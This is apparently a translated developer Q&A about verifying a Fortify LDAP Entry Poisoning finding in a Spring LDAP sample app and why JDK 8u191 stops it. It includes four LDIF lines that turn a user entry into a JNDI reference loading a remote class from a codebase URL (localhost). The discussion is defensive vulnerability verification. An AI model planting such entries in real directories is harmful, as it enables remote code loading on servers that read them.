Fortify报告了我的一个Spring应用程序中的LDAP Entry Poisoning漏洞。您可以从以下链接获取有关此漏洞的其他信息:
https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111
我决定尝试自己证明是否仍然存在漏洞。我是通过使用Spring Tool Suite来做到这一点的:
文件->新建->导入spring入门内容
搜索ldap 并导入了身份验证Ldap->完整代码集
https://spring.io/guides/gs/authenticating-ldap/
然后我将以下行添加到所包含的test-server.ldif文件中,其中bob条目以及开发人员条目均如此:
javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject
为了运行它,我需要在application.properties中添加以下行:
spring.ldap.embedded.validation.enabled=false
我启动了Wireshark并运行了Spring示例应用程序,可以肯定的是,当我使用bob登录时,在Wireshark的端口9999上受到了欢迎。
当我要求同事测试相同的东西时,他无法复制。经过研究,我们发现他的jdk比我新,并且在更新我的jdk之后,我也无法重现该问题。
我们将范围缩小到引入“修复”的版本jdk-8u191,但是我找不到任何能够解释为什么或如何在Java发行说明中修复该问题的内容。
我的问题是-如果我们运行的是jdk-8u191或更高版本,那么LDAP Entry Poisoning是否现在为false / positive?还是可以设置一些配置选项来覆盖此“修复”?
答案 0 :(得分:0)
8u191 closed a remote class loading vulnerability,但研究仍在进行中。每当将字节流转换成Java中的Object时,您都想考虑类加载(8u191所解决的问题)以及不安全的反序列化。
解决CVE时,通常不在发行说明中。
关于Fortify的警报是否为误报,我认为评估相对于您的应用程序的风险更为重要。
例如,要利用此漏洞,攻击者至少需要direct access to your LDAP instance(请参阅第31页),这可能表明存在更大的安全问题。 8u191及之后,攻击者还需要在您的类路径中找到一个容易受到不安全反序列化影响的类,以重现BH谈话所显示的内容。